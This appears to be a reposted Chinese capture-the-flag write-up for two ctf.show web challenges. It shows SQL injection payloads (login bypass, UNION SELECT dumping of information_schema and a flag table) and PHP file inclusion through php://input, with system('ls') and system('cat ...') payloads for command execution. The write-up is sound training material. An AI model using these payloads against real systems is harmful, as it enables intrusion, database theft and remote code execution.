CTF秀-WEB
2023-12-27 13:52:10
一、web02
1、从图中可以看出是POST类型的SQL注入。
2、使用BurpSuitzhuab。
3、发送到repeat
模块。
4、查看是否存在万能密码。
1' or 1=1#
5、发现存在万能密码,且注入类型为单引号的字符串类型。
6、查看有几列。
- 使用命令
1' order by 3#
找不出有几列,因为无论是否找到正确的列数都是显示一样的页面,要使用命令1' or 1=1 order by 3#
当列数错误的时候,”欢迎…“的字段会消失。
1' order by 3#
1' or 1=1 order by 3#
1' or 1=1 order by 4#
7、可以看出有3列,进行回显。
1' or 1=1 union select 1,2,3#
8、可以看出回显出2,开始查询数据库名。
1' or 1=1 union select 1,database(),3#
9、可以看出查询出的数据库名是:web2,开始查询数据表。
1' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#
10、可以看到查询出的数据分别是:flag和user,开始查询指定数据表的数据列。
1' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag'#
11、可以看到查询到的列名是:flag,开始查询数据信息。
1' or 1=1 union select 1,flag,3 from flag #
1' or 1=1 union select 1,flag,3 from 'flag' # #加引号查询不出来
12、获得flag。
二、web3
- 可以看出上述页面出现的代码存在文件包含函数
include
。 - 这段代码的含义是,它会包含并执行用户通过GET请求传递的URL所指定的文件。具体来说,$_GET[‘url’]部分会获取用户通过URL传递的url参数的数值,然后include语句会将这个值作为文件路径进行处理,并执行其中的PHP代码。
- 存在文件包含时直接使用PHP伪协议
php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时post写入想要执行的php代码,php执行时会将post内容当作文件内容,从而导致任意代码执行。
1、查看该路径下有什么文件。
<?php system("ls");?>
2、查看指定文件。
<?php system("cat ctf_go_go_go");?>
3、也可以使用Bp进行抓包处理。
4、发送到repeat
模块。
5、添加数据,要空一行,否则不会出现结果。
文章来源:https://blog.csdn.net/m0_62670778/article/details/134482852
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!